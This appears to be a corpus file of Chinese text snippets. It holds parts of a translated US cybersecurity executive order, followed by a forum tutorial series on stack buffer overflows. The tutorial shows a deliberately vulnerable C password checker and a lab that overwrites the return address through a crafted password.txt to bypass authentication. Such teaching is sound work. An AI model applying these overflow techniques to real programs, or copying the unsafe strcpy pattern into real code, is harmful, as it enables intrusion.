    {"text": "标准将推动信息共享和分析机构之间形成有力的涉及网络安全风险和事件的信息共享机制，以创建更深层次和更广泛的全国信息共享网络，并培育和发展信息共享的自动机制。"},
    {"text": "这些标准将指导信息共享和分析机构的运作和成员选择，包括但不仅限于合同协议、业务流程、操作规程、技术手段和隐私保护，例如最小化等。"},
    {"text": "（3）在本部分第一条中提到的协议，将要求标准组织为上述标准发展召集公开的公众评议和讨论，征集现有的共享网络威胁和事件信息的机构、关键基础设施的所有者和经营者、相关机构、其他公共和民营部门的利益相关方的观点。"},
    {"text": "（4）秘书处将支持这些标准的发展，并在落实本部分要求的同时，与美国行政管理和预算局、国家标准与技术研究所、司法部、国家档案和记录管理局的信息安全监督办公室、国家情报主任办公室、特定机构和其他相关联邦机构协商。"},
    {"text": "四、关键基础设施保护项目 （1）依照2002年的《关键基础设施信息保护法》中的第213条和第214（h）条，将指定NCCIC承担一项关键基础设施保护计划，并赋予其与信息共享和分析机构签订自愿协议的权利，以促进关键基础设施安全方面涉及网络安全的防护。"},
    {"text": "这依据2010年8月18日签署的第13549号行政令《面向国家、地方、部落和民营部门实体的机密级国家安全信息项目》和1993年1月6日签署的第12829号行政令《国家产业安全项目》。"},
    {"text": "五、隐私和公民自由保障 （1）各机构须与其负责隐私和公民自由权的高级机构官员协调行动，以保障在这些行动中，隐私和公民自由权可以得到适当的保护。"},
    {"text": "（2）根据总统颁布的第13636号行政命令，负责隐私和公民自由权的高级机构官员在行动中将会评估其机构的行动，并将评估报告提交给国土安全部首席隐私官，以及国土安全部的公民权利与公民自由办公室。"},
    {"text": "（2）第101（b）条修订如下：“国家产业安全计划将依照2009年12月29日发布的第13526号总统行政命令，或任何前任或继任命令，以及修订后的1954年《原子能法》（《美国法典》第42卷第2011条）为涉密信息提供保护”。 （3）第102（b）条修订如下：将第一节替换为“在与国家安全顾问磋商后，根据2009年12月29日签署的第13526号总统行政命令，信息安全监督办公室主任将负责实施和监督全国产业安全计划”。 （4）第 102（c）条修订如下：“本命令中的任何条款都不得解释为可以取代修订后的1954年《原子能法》赋予能源部部长或核能管理委员会的权力，或者《2004年情报改革和防范恐怖主义法》、修订后的1947年《国家安全法》或1981年12月8日签署的第12333号总统行政命令赋予国家情报局局长（或任何情报机构部门）的权力，或者第13549号总统行政命令（《针对州、地区、部落和民营实体的国家安全涉密信息计划》）赋予国土安全部秘书处作为涉密国家安全信息计划的执行机构的权力”。 （5）第201（a）条修订如下：“美国国防部部长在与所有相关机构协商，并得到美国能源部部长、核管理委员会主任、国家情报局局长和国土安全部部长的同意后，将发布并持续修订《国家产业安全计划操作手册》。 美国能源部部长、核管理委员会主任将规定和发布该《操作手册》中属于1954年《原子能法》（《美国法典》第42卷第2011条）的修订过的部分。"},
    {"text": "国家情报局局长将规定和发布该《操作手册》中属于情报资源和方式的部分，包括敏感隔离信息。 秘书处将规定和发布该《操作手册》中属于指定的关键基础设施保护计划中的共享的部分信息”。"},
    {"text": "（7）第201（e）条改成第201（f）条，并将“1982年4月2日第12356号总统行政命令”修改为“2009年12月29日第13526号总统行政命令，或任何继任命令”。"},
    {"text": "（9）在第102（c）条后插入新的第102（d）条，内容为“《手册》也将规定在关键基础设施保护计划下，规定必要的安排，以保证涉密信息的安全共享。"},
    {"text": "或者与国防部部长签署书面协议，作为其执行机构； 或者与中央情报局局长签署书面协议，全权或部分代表中央情报局局长来检查和监督这些计划或设施”。"},
    {"text": "（12）在第202条中，在（c）之后加入全新的（d），内容为“国土安全部部长可以决定在特定的关键基础设施保护计划中，访问涉密国家安全信息的承包商、被许可方、受让人和其雇员的资格；"},
    {"text": "或者与国防部部长签署书面协议，作为其执行机构； 或者与中央情报局局长签署书面协议，全权或部分代表国土安全部部长来检查和监督这些计划或设施”。"},
    {"text": "七、定义 （1）“关键基础设施信息”的定义基于2002年《关键基础设施信息保护法》的第212（3）条。 （2）“关键基础设施保护项目”的定义基于 2002 年《关键基础设施信息保护法》的第212（4）条。"},
    {"text": "本命令的解释不得改变或限制现有法律赋予机构的任何权利和责任，这其中包括与民营部门一起应对犯罪行为和威胁国家安全的行动。 本命令的解释不得赋予机构大于现有法律所赋予的管理基础设施安全的权利。"},
    {"text": "（4）本命令并不打算或者并不会产生任何实质性或程序性的权力和利益，在法律或实体上被任何人执行，以反对美国政府、各部门和机构，或者政府机构官员、雇员，或代理人，或其他任何人。"},
    {"text": "[2] 拒绝服务攻击会覆盖有人工服务要求的目标，致使其不能提供合法服务。 分布式拒绝服务攻击会在众多计算机中分布人工要求来源，因此会大大增加阻碍连接任务的复杂性，以消除特定来源的人工要求。 分布式拒绝服务攻击的计算机通常是真实攻击者未觉察到的代理。"},
    {"text": "[5] http://www.house.gov/science/hearings/full/oct10/spafford.htm. [6] 根据美国国家研究委员会发布的《国防部基础研究评估》改编，美国国家学术出版社，2005年。"},
    {"text": "[8] 联邦政府提供给总统信息技术咨询委员会的数据显示：在2004财务年度内，美国国防部高级研究计划局在网络空间安全方面的投资介于4000万美元和1.5亿美元之间。"},
    {"text": "[14] 当联邦政府对于外国毕业生可以开展的工作以及他们学习的课程进行限制时，就会产生类似的问题，因为毕业生是大学研究计划的有生力量。"},
    {"text": "会议议程为邀请特别演讲者、颁发美国国家信息系统安全奖项（通常被认为是此领域内的最高奖项）以及供应商和计划奖项，还有展览当前先进技术的大型供应商展览会。"},
    {"text": "[17] 请参考以下网址：http：//www.nitrd.gov/iwg/hcss.html。 [18] 请参考以下网址：http：//www.nitrd.gov/iwg/lsn.html。"},
    {"text": "软件漏洞分析入门专题 作者： failwest 来源： http://bbs.pediy.com/showthread.php?t=56445 第1讲 引子 To be the apostrophe which changed “Impossible” into “I’m possible” —— failwest 凉风有讯，秋月无边。 您是否梦想过能够像电影上演的那样黑进任意一台机器远程操控？您的梦想是否曾经被书店里边满架子的反黑，防毒，擒木马的扫盲书强暴的体无完肤？ 从今天开始，准备陆续发一系列关于软件漏洞方面基础知识的帖子，包括软件漏洞的研究价值，研究方法，堆栈利用的基础知识，shellcode的调试方法，漏洞调试方法，漏洞分析，漏洞挖掘，软件安全性测试等等，此外还将介绍一些metasploit架构和fuzz测试方面的入门知识。 软件漏洞分析，利用，发掘是当今安全技术界中流砥柱级别话题，如果您关注过black hat或者defcon之类的顶级安全技术峰会的话，就知道我不是在吹牛了。可惜的是这方面的中文资料很少，偶尔有一篇比较优秀的文章但又不够系统，目前为止也没有形成像破解技术这样的讨论风气，菜鸟们在黑灯瞎火的夜晚瞎折腾，没有交流和指导，兴趣就像被拔了气弥儿芯的车胎，很快就泄气了。 虽然漏洞分析与利用与破解在技术上各有侧重点，但逆向基础是共同的。以我个人的经验，能做crack的朋友只要稍加进修就能入门。就算没有任何汇编基础和逆向经验的朋友也不用担心，因为这个系列的文章将完全面向菜鸟，只要会C语言，跟着文章用ollydbg调试几次连猜带蒙的也应该能够上手。 今天我们暂时不谈堆栈这些技术细节，先让我们从比较宏观的地方着手。 如果您经历过冲击波蠕虫病毒的攻击话，应该明白操作系统出现漏洞时的后果。 漏洞往往是病毒木马入侵计算机的突破口。如果掌握了漏洞的技术细节，能够写出漏洞利用（exploit），往往可以让目标主机执行任意代码。 软件漏洞的技术细节是非常宝贵的资料，尤其是当软件漏洞对应的官方补丁尚未发布时，只有少数攻击者秘密的掌握漏洞及其利用方法，这时往往可以通过漏洞hack任意一台internet上的主机！ 这种未被公开的漏洞被称作zero day (0 day)。可以把0day理解成未公开的系统后门。由于0day的特殊性质和价值，使得很多研究者和攻击者投身于漏洞挖掘的行列。一个0day漏洞的资料根据其影响程度的不同，在黑市上可以卖到从几千元到几十万元不等的价钱。因此0day一旦被发现往往会被当作商业机密，甚至军事机密～～～～如果把冲击波蠕虫的shellcode从原先的一分钟倒计时关机改为穷凶极恶的格式化硬盘之类～～～～～那么花一百万买这样一个电子炸弹可比花一百万买一枚导弹来得划算～～～～～～试想一下某天早上起来发现全国的windows系统都被格式化，计算机系统完全瘫痪造成的影响和一颗导弹在城市里炸个坑造成的影响哪个更严重？ 在今天这一讲的最后，让我们回顾一下几个可能曾经困惑过您的问题： 我从不运行任何来历不明的软件，为什么还会中病毒？ 如果病毒利用重量级的系统漏洞进行传播，您将在劫难逃。因为系统漏洞可以引起计算机被远程控制，更何况传播病毒。横扫世界的冲击波蠕虫，slamer蠕虫等就是这种类型的病毒。 如果服务器软件存在安全漏洞，或者系统中可以被RPC远程调用的函数中存在缓冲区溢出漏洞，攻击者也可以发起“主动”进攻。在这种情况下，您的计算机会轻易沦为所谓的“肉鸡”。 我只是点击了一个URL链接，并没有执行任何其他操作，为什么会中木马？ 如果您的浏览器在解析HTML文件时存在缓冲区溢出漏洞，那么攻击者就可以精心构造一个承载着恶意代码的HTML文件，并把其链接发给您。当您点击这种链接时，漏洞被触发从而导致HTML中所承载的恶意代码（shellcod）被执行。这段代码通常是在没有任何提示的情况下去指定的地方下载木马客户端并运行。 此外，第三方软件所加载的ActiveX控件中的漏洞也是被“网马”所经常利用的对象。所以千万不要忽视URL链接。 Word文档、Power Point文档、Excel表格文档并非可执行文件，他们会导致恶意代码的执行吗？ 和html文件一样，这类文档本身虽然是数据文件，但是如果Office软件在解析这些数据文件的特定数据结构时存在缓冲区溢出漏洞的话，攻击者就可以通过一个精心构造的word文档来触发并利用漏洞。当您在用office软件打开这个word文档的时候，一段恶意代码可能已经悄无声息的被执行过了。 好，第一讲暂时结束，如果您有兴趣，不妨关注一下这个系列，说不定听完几讲之后会深深的爱上这个门技术。 顺便预告一下本系列讲座的内容： 2_漏洞利用，分析，挖掘概述 3_初级栈溢出A 4_初级栈溢出B 5_自制简单的shellcode 6_初级栈溢出C 7_windows下shellcode的开发 在后面嘛，还没确定下来，大概会给几个真实的windows漏洞调试案例，给大家一起交流 欢迎大家踊跃讨论，积极讨论，大肆讨论，猛烈讨论"},
    {"text": "第2讲 初级栈溢出_A To be the apostrophe which changed “Impossible” into “I’m possible” —— failwest 今夜月明星稀 本想来点大道理申明下研究思路啥的，看到大家的热情期待，稍微调整一下讲课的顺序。"},
    {"text": "经过这3～4次的栈溢出扫盲，我们的目标是： 领会栈溢出攻击的基本原理 能够动手调试简易的栈溢出漏洞程序，并能够利用漏洞执行任意代码（最简易的shellcode） 最主要的目的其实是激发大家的学习兴趣——寡人求学若干年，深知没有兴趣是决计没有办法学出名堂来的。"},
    {"text": "不懂汇编不是拒绝这门迷人技术的理由——今天的课程就不涉及汇编——并且以后遇到会随时讲解滴 所以如果你懂C语言的话，不许不学，不许说学不会，也不许说难，哈哈 开场白多说了几句，下面是正题。"},
    {"text": "今天我们来一起研究一段暴简单无比的C语言小程序，看看编程中如果不小心出现数组越界将会出现哪些问题，直到这个单元结束您能够用这些数组越界漏洞控制远程主机。"},
    {"text": "#include #define PASSWORD \"1234567\" int verify_password (char *password) { int authenticated; char buffer[8]; // add local buff to be overflowed authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); //over flowed here! return authenticated; } main() { int valid_flag=0; char password[1024]; while(1) { printf(\"please input password: \"); scanf(\"%s\",password); valid_flag = verify_password(password); if(valid_flag) { printf(\"incorrect password!\\n\\n\"); } else { printf(\"Congratulation! You have passed the verification!\\n\"); break; } } } 对于这几行乱简单无比的程序，我还是稍作解释。 程序运行后将提示输入密码 用户输入的密码将被程序与宏定义中的“1234567”比较 密码错误，提示验证错误，并提示用户重新输入 密码正确，提示正确，程序退出（真够傻瓜的语言） 所谓的漏洞在于verify_password（）函数中的strcpy(buffer,password)调用。 由于程序将把用户输入的字符串原封不动的复制到verify_password函数的局部数组char buffer[8]中，但用户的字符串可能大于8个字符。"},
    {"text": "函数verify_password（）里边申请了两个局部变量 int authenticated; char buffer[8]; 当verify_password被调用时，系统会给它分配一片连续的内存空间，这两个变量就分布在那里（实际上就叫函数栈帧，我们后面会详细讲解），如下图 变量和变量紧紧的挨着。"},
    {"text": "当然不是他俩关系好，省空间啊，好傻瓜的问题，笑：） 用户输入的字符串将拷贝进buffer[8]，从示意图中可以看到，如果我们输入的字符超过7个（注意有串截断符也算一个），那么超出的部分将破坏掉与它紧邻着的authenticated变量的内容！"},
    {"text": "在复习一下程序，authenticated变量实际上是一个标志变量，其值将决定着程序进入错误重输的流程（非0）还是密码正确的流程（0）。 下面是比较有趣的部分： 当密码不是宏定义的1234567时，字符串比较将返回1或-1（这里只讨论1，结尾的时候会谈下-1的情况） 由于intel是所谓的大顶机，其实就是内存中的数据按照4字节（DWORD）逆序存储，所以authenticated为1时，内存中存的是0x01000000 如果我们输入包含8个字符的错误密码，如“qqqqqqqq”，那么字符串截断符0x00将写入authenticated变量 这溢出数组的一个字节0x00将恰好把逆序存放的authenticated变量改为0x00000000。 函数返回，main函数中一看authenticated是0，就会欢天喜地的告诉你，oh yeah 密码正确！"},
    {"text": "因为字符串大小的比较是按字典序来的，所以这个串小于“1234567”，authenticated的值是-1，在内存里将按照补码存负数，所以实际村的不是0x01000000而是0xffffffff。"},
    {"text": "总结一下，由于编程的粗心，有可能造成程序中出现缓冲区溢出的缺陷。 这种缺陷大多数情况下会导致崩溃，但是结合内存中的具体情况，如果精心构造缓冲区的话，是有可能让程序作出设计人员根本意向不到的事情的 本节只是用一个字节淹没了邻接变量，导致了程序进入密码正确的处理流程，使设计的验证功能失效。"},
    {"text": "其实作为cracker，大家可能会说这有什么难的，我可以说出一堆方法做到这一点： 直接查看PE，找出宏定义中的密码值，得到正确密码 反汇编PE，找到爆破点,JZ JNZ的或者TEST EAX,EAX变XOR EAX,EAX的在分支处改它一个字节 …… 但是今天介绍的这种方法与crack的方法有一个非常重要的区别，非常非常重要～～ 就是～～～我们是在程序允许的情况下，用合法的输入数据（对于程序来说）得到了非法的执行效果（对于程序员来说）——这是hack与crack之间的一个重要区别，因为大多数情况下hack是没有办法直接修改PE的，他们只能通过影响输入来影响程序的流程，这将使hack受到很多限制，从某种程度上讲也更加困难。"},
    {"text": "好了，今天的扫盲课程暂时结束，作为栈溢出的开场白，希望这个自制的漏洞程序能够给您带来一点点帮助。 顺便预告一下下一讲的内容： 初级溢出B：将讲述函数调用时怎样和系统栈配合的，然后在本讲的基础上淹没栈帧寄存器，直接改变程序流程 初级溢出C：手把手的教你写一段超简单的shellcode（可执行的机器代码），并把这段代码做为密码输入，最后引导程序跳去执行这段代码 下次再见：）*转载请注明来自看雪论坛@PEdiy.com"},
    {"text": "有几个同学反映编译器的问题，我还是建议用VC6.0，因为它build出来的PE最适合初学者领会概念。 而且这门课动手很重要，基本上我的实验指导都是按VC6.0来写的，用别的build出来要是有点出入，实验不成功的话会损失学习积极性滴——实验获得的成就感是学习最好的动力。"},
    {"text": "如果你不是这样的同学，可以飘过本讲，否则你会说我罗嗦滴像唐僧～～～～我的目标就是一定要让你弄明白，不管多罗嗦，多俗气，多傻瓜的方法，呵呵 找工作滴同学也可以看看这部分，很可能会对面试有帮助呦。 根据我个人无数次的面试经验，会有很多考官饶有兴趣的问你学校课本上从来不讲的东东，比如堆和栈的区别，什么样的变量在栈里，函数调用是怎么实现的，参数入栈顺序，函数调用时参数的值传递、地址传递的原理之类。"},
    {"text": "根据不同的操作系统，一个进程可能被分配到不同的内存区域去执行。 但是不管什么样的操作系统、什么样的计算机架构，进程使用的内存都可以按照功能大致分成以下四个部分： 代码区：这个区域存储着被装入执行的二进制机器代码，处理器会到这个区域来取指并执行。"},
    {"text": "堆区：进程可以在堆区动态的请求一定大小的内存，并在用完之后归还给堆区。 动态分配和回收是堆区的特点 栈区：用于动态的存储函数之间的调用关系，以保证被调用函数在返回时恢复到母函数中继续执行 注意：这种简单的内存划分方式是为了让您能够更容易地理解程序的运行机制。"},
    {"text": "《深入理解计算机系统》一书中有更详细的关于内存使用的论述，如果您对这部分知识有兴趣，可以参考之 在windows平台下，高级语言写出的程序经过编译链接，最终会变成各位同学最熟悉不过的PE文件。"},
    {"text": "数据区，堆区，栈区等则是用来存放原料，半成品，成品等各种东西的场所； 存在代码区的指令则告诉CPU要做什么，怎么做，到哪里去领原材料，用什么工具来做，做完以后把成品放到哪个货舱去；"},
    {"text": "缓冲区溢出的利用方法和缓冲区到底属于上面哪个内存区域密不可分，本讲座主要介绍在系统栈中发生溢出的情形。 堆中的溢出稍微复杂点，我会考虑在中级班中给予介绍 以下内容针对正常情况下的大学本科二年级计算机水平或者计算机二级水平的读者，明白栈的飘过即可。"},
    {"text": "用于标识栈的属性也有两个：栈顶(TOP)，栈底（BASE） 可以把栈想象成一摞扑克牌： PUSH：为栈增加一个元素的操作叫做PUSH，相当于给这摞扑克牌的最上面再放上一张； POP：从栈中取出一个元素的操作叫做POP，相当于从这摞扑克牌取出最上面的一张；"},
    {"text": "注意：系统栈在其他文献中可能曾被叫做运行栈，调用栈等。 如果不加特别说明，我们这里说的栈都是指系统栈这个概念，请您注意与求解“八皇后”问题时在自己在程序中实现的数据结构区分开来。 我们下面就来探究一下高级语言中函数的调用和递归等性质是怎样通过系统栈巧妙实现的。"},
    {"text": "请看如下代码： int func_B(int arg_B1, int arg_B2) { int var_B1, var_B2; var_B1=arg_B1+arg_B2; var_B2=arg_B1-arg_B2; return var_B1*var_B2; } int func_A(int arg_A1, int arg_A2) { int var_A; var_A = func_B(arg_A1,arg_A2) + arg_A1 ; return var_A; } int main(int argc, char **argv, char **envp) { int var_main; var_main=func_A(4,3); return var_main; } 这段代码经过编译器编译后，各个函数对应的机器指令在代码区中可能是这样分布的： 根据操作系统的不同、编译器和编译选项的不同，同一文件不同函数的代码在内存代码区中的分布可能相邻也可能相离甚远；"},
    {"text": "当CPU在执行调用func_A函数的时候，会从代码区中main函数对应的机器指令的区域跳转到func_A函数对应的机器指令区域，在那里取指并执行； 当func_A函数执行完闭，需要返回的时候，又会跳回到main函数对应的指令区域，紧接着调用func_A后面的指令继续执行main函数的代码。 在这个过程中，CPU的取指轨迹如下图所示： 那么CPU是怎么知道要去func_A的代码区取指，在执行完func_A后又是怎么知道跳回到main函数（而不是func_B的代码区）的呢？"},
    {"text": "如图所示，在函数调用的过程中，伴随的系统栈中的操作如下： 在main函数调用func_A的时候，首先在自己的栈帧中压入函数返回地址，然后为func_A创建新栈帧并压入系统栈 在func_A调用func_B的时候，同样先在自己的栈帧中压入函数返回地址，然后为func_B创建新栈帧并压入系统栈 在func_B返回时，func_B的栈帧被弹出系统栈，func_A栈帧中的返回地址被“露”在栈顶，此时处理器按照这个返回地址重新跳到func_A代码区中执行 在func_A返回时，func_A的栈帧被弹出系统栈，main函数栈帧中的返回地址被“露”在栈顶，此时处理器按照这个返回地址跳到main函数代码区中执行 注意：在实际运行中，main函数并不是第一个被调用的函数，程序被装入内存前还有一些其他操作，上图只是栈在函数调用过程中所起作用的示意图 每一个函数独占自己的栈帧空间。"},
    {"text": "WIN32系统提供两个特殊的寄存器用于标识位于系统栈栈顶的栈帧： ESP：栈指针寄存器(extended stack pointer)，其内存放着一个指针，该指针永远指向系统栈最上面一个栈帧的栈顶 EBP：基址指针寄存器(extended base pointer)，其内存放着一个指针，该指针永远指向系统栈最上面一个栈帧的底部 寄存器对栈帧的标识作用如下图所示： 函数栈帧：ESP和EBP之间的内存空间为当前栈帧，EBP标识了当前栈帧的底部，ESP标识了当前栈帧的顶部。"},
    {"text": "栈帧状态值：保存前栈帧的顶部和底部（实际上只保存前栈帧的底部，前栈帧的顶部可以通过堆栈平衡计算得到），用于在本帧被弹出后，恢复出上一个栈帧。"},
    {"text": "函数返回地址：保存当前函数调用前的“断点”信息，也就是函数调用前的指令位置，以便函数返回时能够恢复到函数被调用前的代码区中继续执行指令。"},
    {"text": "注意：函数栈帧的大小并不固定，一般与其对应函数的局部变量多少有关。 在以后几讲的调试实验中您会发现，函数运行过程中，其栈帧大小也是在不停变化的。"},
    {"text": "除了与栈相关的寄存器外，您还需要记住另一个至关重要的寄存器： EIP：指令寄存器(extended instruction pointer)， 其内存放着一个指针，该指针永远指向下一条待执行的指令地址 可以说如果控制了EIP寄存器的内容，就控制了进程——我们让EIP指向哪里，CPU就会去执行哪里的指令。"},
    {"text": "函数调用约定与相关指令 函数调用约定描述了函数传递参数方式和栈协同工作的技术细节。 不同的操作系统、不同的语言、不同的编译器在实现函数调用时的原理虽然基本类同，但具体的调用约定还是有差别的。"},
    {"text": "C SysCall StdCall BASIC FORTRAN PASCAL 参数入栈顺序 右->左 右->左 右->左 左->右 左->右 左->右 恢复栈平衡操作的位置 母函数 子函数 子函数 子函数 子函数 子函数 具体的，对于Visual C＋＋来说可支持以下三种函数调用约定 调用约定的声明 参数入栈顺序 恢复栈平衡的位置 __cdecl 右->左 母函数 __fastcall 右->左 子函数 __stdcall 右->左 子函数 要明确使用某一种调用约定的话只需要在函数前加上调用约定的声明就行，否则默认情况下VC会使用__stdcall的调用方式。"},
    {"text": "例如每一个C++类成员函数都有一个this指针，在windows平台中这个指针一般是用ECX寄存器来传递的，但如果用GCC编译器编译的话，这个指针会做为最后一个参数压入栈中。"},
    {"text": "函数调用大致包括以下几个步骤： 参数入栈：将参数从右向左依次压入系统栈中 返回地址入栈：将当前代码区调用指令的下一条指令地址压入栈中，供函数返回时继续执行 代码区跳转：处理器从当前代码区跳转到被调用函数的入口处 栈帧调整：具体包括 保存当前栈帧状态值，已备后面恢复本栈帧时使用（EBP入栈） 将当前栈帧切换到新栈帧。"},
    {"text": "（把ESP减去所需空间的大小，抬高栈顶） 对于__stdcall调用约定，函数调用时用到的指令序列大致如下： ;调用前 push 参数3 ; 假设该函数有3个参数，将从右向左依次入栈 push 参数2 push 参数1 call 函数地址 ; call指令将同时完成两项工作：a）向栈中压入当前指令在内存中的位置， ; 即保存返回地址； b）跳转到所调用函数的入口地址 ;函数入口处 push ebp ; 保存旧栈帧的底部 mov ebp，esp ; 设置新栈帧的底部（栈帧切换） sub esp，xxx ; 设置新栈帧的顶部（抬高栈顶，为新栈帧开辟空间） 上面这段用于函数调用的指令在栈中引起的变化如下图所示： 注意：关于栈帧的划分不同参考书中有不同的约定。"},
    {"text": "有的参考文献中把返回地址和前栈帧EBP值做为一个栈帧的顶部元素，而有的则将其做为栈帧的底部进行划分。 在后面的调试中，您会发现OllyDbg在栈区标示出的栈帧是按照前栈帧EBP值进行分界的，也就是说前栈帧EBP值即属于上一个栈帧，也属于下一个栈帧，这样划分栈帧后返回地址就成为了栈帧顶部的数据。"},
    {"text": "类似的，函数返回的步骤如下： 保存返回值：通常将函数的返回值保存在寄存器EAX中 弹出当前栈帧，恢复上一个栈帧： 具体包括 在堆栈平衡的基础上，给ESP加上栈帧的大小，降低栈顶，回收当前栈帧的空间 将当前栈帧底部保存的前栈帧EBP值弹入EBP寄存器，恢复出上一个栈帧 将函数返回地址弹给EIP寄存器 跳转：按照函数返回地址跳回母函数中继续执行 还是以C语言和WIN32平台为例，函数返回时的相关的指令序列如下： add xxx, esp ;降低栈顶，回收当前的栈帧 pop ebp ;将上一个栈帧底部位置恢复到ebp， retn ;这条指令有两个功能：a)弹出当前栈顶元素，即弹出栈帧中的返回地址。"},
    {"text": "verify_password函数返回之后，程序就会按照这个返回地址（EIP）所指示的内存地址去取指令并执行。 如果我们在多给几个输入的字符，让输入的数据跃过authenticated变量，一直淹没到返回地址的位置，把它淹没成我们想要执行的指令的内存地址，那么verify_password 函数返回后，就会乖乖滴去执行我们想让它执行的东东了（例如直接返回到密码正确的处理流程）。"},
    {"text": "下节课我会带着大家一步一步的完成这节课的分析，让跃过数组的字符串继续跃过authenticated变量，直到把函数返回地址修改成我们想要的值，从而改变程序流程。"},
    {"text": "第4讲 初级栈溢出C To be the apostrophe which changed “Impossible” into “I’m possible” —— failwest 没有星星的夜里，我用知识吸引你 上节课没有操练滴东西，不少蠢蠢欲动的同学肯定已经坐不住了。"},
    {"text": "悟空，不要猴急，下面的两堂课都是实践课，用来在实践中深入体会上节课中的知识，并且很有趣味性哦 信息安全技术是一个对技术性要求极高的领域，除了扎实的计算机理论基础外、更重要的是优秀的动手实践能力。"},
    {"text": "科班出身的学生往往具有扎实的理论基础，他们通晓密码学知识、知道PKI体系架构，但要谈到如何真刀实枪的分析病毒样本、如何拿掉PE上复杂的保护壳、如何在二进制文件中定位漏洞、如何对软件实施有效的攻击测试……能够做到的人并不多。"},
    {"text": "如果你是这样的人，请跟着我把这个系列的所有实验全部完成，之后你会发现眼中的软件，程序，语言，计算机都与以前看到的有所不同——因为以前使用肉眼来看问题，我会教你用心和调试器以及手指来重新体验它们。"},
    {"text": "首先简单复习上节课的内容： 高级语言经过编译后，最终函数调用通过为其开辟栈帧来实现 开辟栈帧的动作是编译器加进去的，高级语言程序员不用在意 函数栈帧中首先是函数的局部变量，局部变量后面存放着函数返回地址 当前被调用的子函数返回时，会从它的栈帧底部取出返回地址，并跳转到那个位置（母函数中）继续执行母函数 我们这节课的思路是，让溢出数组的数据跃过authenticated，一直淹没到返回地址，把这个地址从main函数中分支判断的地方直接改到密码验证通过的分支！"},
    {"text": "这样当verify_password函数返回时，就会返回到错误的指令区去执行（密码验证通过的地方） 由于用键盘输入字符的ASCII表示范围有限，很多值如0x11，0x12等符号无法直接用键盘输入，所以我们把用于实验的代码在第二讲的基础上稍加改动，将程序的输入由键盘改为从文件中读取字符串。"},
    {"text": "要得到程序中密码验证通过的指令地址，以便程序直接跳去这个分支执行 要在password.txt文件的相应偏移处填上这个地址 这样verify_password函数返回后就会直接跳转到验证通过的正确分支去执行了。 首先用OllyDbg加载得到的可执行PE文件如图： 阅读上图中显示的反汇编代码，可以知道通过验证的程序分支的指令地址为0x00401122。"},
    {"text": "0x00401102处的函数调用就是verify_password函数，之后在0x0040110A处将EAX中的函数返回值取出 ，在0x0040110D处与0比较，然后决定跳转到提示验证错误的分支或提示验证通过的分支。"},
    {"text": "一般情况下main函数位于GetCommandLineA函数调用后不远处，并且有明显的特征：在调用之前有3次连续的压栈操作，因为系统要给main传入默认的argc、argv等参数。"},
    {"text": "这才牙长一点指令啊，真正的漏洞要对付的是软件，那个难缠～～～好，不泼冷水了 如果我们把返回地址覆盖成这个地址，那么在0x00401102 处的函数调用返回后，程序将跳转到验证通过的分支，而不是进入0x00401107处分支判断代码。"},
    {"text": "buffer[8]共需要2个这样的单元 第3个输入单元将authenticated覆盖 第4个输入单元将前栈帧EBP值覆盖 第5个输入单元将返回地址覆盖 为了把第5个输入单元的ASCII码值0x34333231修改成验证通过分支的指令地址0x00401122，我们采取如下方式借助16进制编辑工具UltraEdit来完成（0x40，0x11等ASCII码对应的符号很难用键盘输入）。"},
    {"text": "步骤1：创建一个名为password.txt的文件，并用记事本打开，在其中写入5个“4321”后保存到与实验程序同名的目录下： 步骤2：保存后用UltraEdit_32重新打开，如图： 啥？"},
    {"text": "步骤4：将最后四个字节修改成新的返回地址，注意这里是按照“内存数据”排列的，由于“大顶机”的缘故，为了让最终的“数值数据”为0x00401122，我们需要逆序输入这四个字节。"},
    {"text": "要txt的点这里： password.txt. 将password.txt保存后，用OllyDbg加载程序并调试，可以看到最终的栈状态如下表所示： 局部变量名 内存地址 偏移3处的值 偏移2处的值 偏移1处的值 偏移0处的值 buffer[0~3] 0x0012FB14 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’) buffer[4~7] 0x0012FB18 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’) authenticated （被覆盖前） 0x0012FB1C 0x00 0x00 0x00 0x01 authenticated （被覆盖后） 0x0012FB1C 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’) 前栈帧EBP （被覆盖前） 0x0012FB20 0x00 0x12 0xFF 0x80 前栈帧EBP （被覆盖后） 0x0012FB20 0x31 (‘1’) 0x32 (‘2’) 0x33 (‘3’) 0x34 (‘4’) 返回地址 （被覆盖前） 0x0012FB24 0x00 0x40 0x11 0x07 返回地址 （被覆盖后） 0x0012FB24 0x00 0x40 0x11 0x22 程序执行状态如图： 由于栈内EBP等被覆盖为无效值，使得程序在退出时堆栈无法平衡，导致崩溃。"},
    {"text": "最后再总结一下这个实验的内容： 通过Ollydbg调试PE文件确定密码验证成功的分支的指令所处的内存地址为0x00401122 通过调试确定buffer数组距离栈帧中函数返回地址的偏移量 在password.txt相应的偏移处准确的写入0x00401122，当password.txt被读入后会同样准确的把verify_password函数的返回地址从分支判断处修改到0x00401122（密码正确分支） 函数返回时，笨笨的返回到密码正确的地方 程序继续执行，但由于栈被破坏，不再平衡，故出错 试想一下，如果我们在buffer[]中填入一些可执行的机器码，然后用溢出的数据把返回地址指向buffer[]，那么函数返回后这些代码是不是就会执行了？"},
    {"text": "答案是肯定的，下一讲我将用类似的叙述方式，同样手把手的和您一起完成这段机器代码的编写，并把它们准确的布置在password.txt中，这样原本用来读取密码文件的程序读了这样一个精心构造的“黑文件”之后，就会做出一些“出格”的事情了。"},
    {"text": "第5讲 初级栈溢出D——植入任意代码 To be the apostrophe which changed “Impossible” into “I’m possible” —— failwest 麻雀虽小，五脏俱全 如果您顺利的学完了前面4讲的内容，并成功的完成了第2讲和第4讲中的实验，那么今天请跟我来一起挑战一下劫持有漏洞的进程，并向其植入恶意代码的实验，相信您成功完成这个实验后，学习的兴趣和自信心都会暴增。"},
    {"text": "开始之前，先简要的回答一下前几讲跟贴中提出的问题 代码编译少头文件问题：可能是个人习惯问题，哪怕几行长的程序我也会丢到project里去build，而不是用cl，所以没有注意细节。"},
    {"text": "我设计的实验是最最简单的情况，为了防止一开始难度高，刻意的去掉了真正的漏洞利用中的一些步骤，为的是让初学者理解起来更加清晰，自然。"},
    {"text": "本节将涉及极少量的汇编语言编程，不过不要怕，非常简单，我会给于详细的解释，不用专门去学汇编语言也能扛下来 另外本节需要最基本的使用OllyDbg进行调试，并配合一些其他工具以确认一些内存地址。"},
